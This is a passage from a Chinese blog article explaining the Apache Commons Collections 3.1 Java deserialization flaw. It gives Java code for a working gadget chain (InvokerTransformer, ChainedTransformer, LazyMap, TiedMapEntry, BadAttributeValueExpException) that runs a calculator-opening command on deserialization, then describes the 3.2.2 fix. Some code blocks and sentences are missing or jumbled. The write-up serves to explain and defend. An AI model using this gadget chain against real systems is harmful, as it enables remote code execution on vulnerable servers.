背景
Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。
问题复现
这个问题主要会发生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本进行测试,JDK版本为Java 8。
利用Transformer攻击
Commons Collections中提供了一个Transformer接口,主要是可以用来进行类型转换的,这个接口有一个实现类是和我们今天要介绍的漏洞有关的,那就是InvokerTransformer。InvokerTransformer提供了一个transform方法,该方法核心代码只有3行,主要作用就是通过反射对传入的对象进行实例化,然后执行其iMethodName方法。而需要调用的iMethodName和需要使用的参数iArgs其实都是InvokerTransformer类在实例化时设定进来的,这个类的构造函数如下:
Runtime.getRuntime().exec(cmd)
的形式,那么,我们就想办法通过以上工具类实现这个功能。Transformer transformer = new InvokerTransformer(“exec”,
new Class[] {String.class},
new Object[] {“open /Applications/Calculator.app”});
通过,构造函数,我们设定方法名为exec
,执行的命令为open /Applications/Calculator.app
,即打开mac电脑上面的计算器(windows下命令:C:\\Windows\\System32\\calc.exe
)。
Runtime
类的实例化:
transformer.transform(Runtime.getRuntime());
运行程序后,会执行外部命令,打开电脑上的计算机程序:
你以为这就完了?
但是,如果事情只有这么简单的话,那这个漏洞应该早就被发现了。想要真的实现攻击,那么还有几件事要做。
newTransformer.transform(Runtime.getRuntime());
这样的代码,不会有人真的在代码中写的。transformer.transform(Runtime.getRuntime());
同样的功能:Transformer[] transformers = new Transformer[] {
//通过内置的ConstantTransformer来获取Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer(“getMethod”,
new Class[] {String.class, Class[].class },
new Object[] {“getRuntime”, new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer(“invoke”,
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer(“exec”,
new Class[] {String.class },
new Object[] {“open /Applications/Calculator.app”})
};
Transformer transformerChain = new ChainedTransformer(transformers);
在拿到一个transformerChain之后,直接调用他的transform方法,传入任何参数都可以,执行之后,也可以实现打开本地计算器程序的功能:
newTransformer.transform(Runtime.getRuntime());
这样的代码了,只要代码中有transformer.transform()
方法的调用即可,无论里面是什么参数:攻击者不会满足于此
但是,一般也不会有程序员会在代码中写这样的代码。
public String toString() {
return getKey() + “=” + getValue();
}
public Object getValue() {
return map.get(key);
}
那么,现在的攻击门槛就更低了一些,只要我们自己构造一个TiedMapEntry,并且将他进行序列化,这样,只要有人拿到这个序列化之后的对象,调用他的toString方法的时候,就会自动触发bug。
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, “key”);
我们知道,toString会在很多时候被隐式调用,如输出的时候(System.out.println(ois.readObject());
),代码示例如下:
只要反序列化,就会被攻击
那么,有没有什么办法,让代码只要对我们准备好的内容进行反序列化就会遭到攻击呢?
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, “key”);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
// val是私有变量,所以利用下面方法进行赋值
Field valfield = poc.getClass().getDeclaredField(“val”);
valfield.setAccessible(true);
valfield.set(poc, entry);
于是,这时候,攻击就非常简单了,只需要把BadAttributeValueExpException对象序列化成字符串,只要这个字符串内容被反序列化,那么就会被攻击。
问题解决
CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory,
WhileClosure
如在InvokerTransformer类中,自己实现了和序列化有关的writeObject()和 readObject()方法:
UnsupportedOperationException
,通过org.apache.commons.collections.enableUnsafeSerialization
设置这个特性的开关。Exception in thread “main” java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property ‘org.apache.commons.collections.enableUnsafeSerialization’ to ‘true’, but you must ensure that your application does not de-serialize objects from untrusted sources.
at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)
后话
参考资料:
https://commons.apache.org/proper/commons-collections/release_3_2_2.html
https://p0sec.net/index.php/archives/121/
https://www.freebuf.com/vuls/175252.html
https://kingx.me/commons-collections-java-deserialization.html
关于作者
Hollis(ID:hollischuang),一个对Coding有着独特追求的人,现任阿里巴巴技术专家,个人技术博主,技术文章全网阅读量数千万,《程序员的三门课》联合作者。
参考来源
来源:freebuf.com 2020-07-13 14:16:26 by: hollis
请登录后发表评论
注册